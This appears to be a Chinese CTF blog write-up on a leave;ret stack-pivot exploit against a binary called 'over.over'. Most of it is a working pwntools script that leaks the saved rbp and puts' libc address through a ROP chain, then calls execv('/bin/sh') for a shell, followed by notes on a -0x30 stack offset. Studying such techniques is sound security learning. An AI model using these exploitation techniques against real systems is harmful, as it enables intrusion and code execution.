这个为题太烧脑了,leave-ret对rbp/rsp各种操作,被exp代码两行数据烧了一周多。
先上vul代码:80bytes的buf,read 96字节,能控制RBP/RIP,可以构造一个新栈。通常leave/ret形成跳转

from pwn import *
context.clear(arch='amd64')
context.terminal = ['gnome-terminal','-x','sh','-c']
over = ELF('/root/Downloads/ctf/fake_frame/over.over')
p_over = process(over.path)
libc = over.libc
####leave ret
leave_ret = 0x4006BE
### 0x0000000000400793 : pop rdi ; ret
pop_rdi_ret = 0x400793
print(__name__)
def DEBUG():
raw_input("DEBUG:")
cmd = "break *0x4006b9\n"
gdb.attach(p_over, cmd)
def find_old_rbp():
global over
global p_over
p_over.sendafter('>', 'a' * 80)
###########main() func calls vul(),so old_rbp is main's rbp
x = p_over.recvuntil('\x7f')[-6:].ljust(8,'\0' )
old_rbp= pwnlib.util.packing.u64(x)
#DEBUG()
return old_rbp
return None
def find_puts_vaddr(fake_rbp):
global over
global p_over
global leave_ret
global pop_rdi_ret
#### 0x400676 is vul() addr
vul = 0x400676
payload = flat(['C'*8,pop_rdi_ret,over.got['puts'],over.plt['puts'],vul,'D'*40,fake_rbp,leave_ret])
#payload = flat(['C'*8,pop_rdi_ret,over.got['puts'],over.plt['puts'],'f'*8,'D'*40,fake_rbp,leave_ret])
p_over.sendafter('>',payload)
print(" addr %#x========>%s" %(fake_rbp,'C'*8))
DEBUG()
puts_vaddr = pwnlib.util.packing.u64(p_over.recvuntil('\x7f')[-6:].ljust(8,'\0'))
return puts_vaddr
def get_shell(fake_rbp):
global over
global p_over
global leave_ret
global pop_rdi_ret
global libc
### libc 0x000000000010c8c9 : pop rdx ; pop rsi ; ret
pop_rdx_rsi_ret = libc.address + 0x10c8c9
payload = flat(['a'*8,pop_rdi_ret,next(libc.search('/bin/sh')),pop_rdx_rsi_ret,0,0,libc.symbols['execv'],'a'*(80-7*8),fake_rbp-0x30,leave_ret])
p_over.sendafter('>',payload)
#DEBUG()
p_over.interactive()
if __name__ == '__main__':
####main() calls vul() ,so old rbp is main's rbp
main_rbp = find_old_rbp()
print("main rbp is:%#x"%main_rbp)
###1.main:.text:00000000004006C4 sub rsp, 10h --->>>>stack count down 0x10
###2.main:.text:0000000000400710 call vul ---->>>> push rip (0x8)
###3.vul: .text:0000000000400676 push rbp ----->>>>push main rbp (0x8)
###4vul: .text:000000000040067A sub rsp, 50h ----->>>>stack count down 0x50
###sub 0x70 come to buf start
fake_rbp = main_rbp - 0x70
print("fake rbp is:%#x"%fake_rbp)
puts_vaddr = find_puts_vaddr(fake_rbp)
print("puts_vaddr is:%#x"%puts_vaddr)
libc_vaddr = puts_vaddr - libc.symbols['puts']
libc.address = libc_vaddr
print("libc_vaddr is:%#x"%libc_vaddr)
get_shell(fake_rbp)
p_over.close()
得到fake rbp绝对地址在exp有详细说明,这个稍简单,getshell()的exp有个 -0x30折腾了好几天
payload = flat(['a'*8,pop_rdi_ret,next(libc.search('/bin/sh')),pop_rdx_rsi_ret,0,0,libc.symbols['execv'],'a'*(80-7*8),fake_rbp-0x30,leave_ret])
为啥是0x30呢?
先看第一个构建的stack
payload = flat(['C'*8,pop_rdi_ret,over.got['puts'],over.plt['puts'],vul,'D'*40,fake_rbp,leave_ret])
这个payload执行过程有几个迷糊的地方:
1.puts()执行完后,为啥会执行vul(),有意把'ffffffff'替换vul,看coredump才发现puts()最后一行代码是ret,最熟悉的通常最容易忽略啊。
2.再次进入vul(),执行

栈变成下面这样
|-48|'C'*8|pop_rdi_ret|over.got['puts']|over.plt['puts']|C*8(即老的rbp|'D'*40,fake_rbp,leave_ret
此时rbp指向C*8(即老的rbp),而rsp执向fake_rbp-0x30处去了。
即执行完本次payload,rbp/rsp都变了,需要校调栈的起始位置,否则read()位置不对

总之,对于code on stack,需要不断的跟进rbp/rsp变化,不要想当然的认为fake rbp后就不会变。
网友评论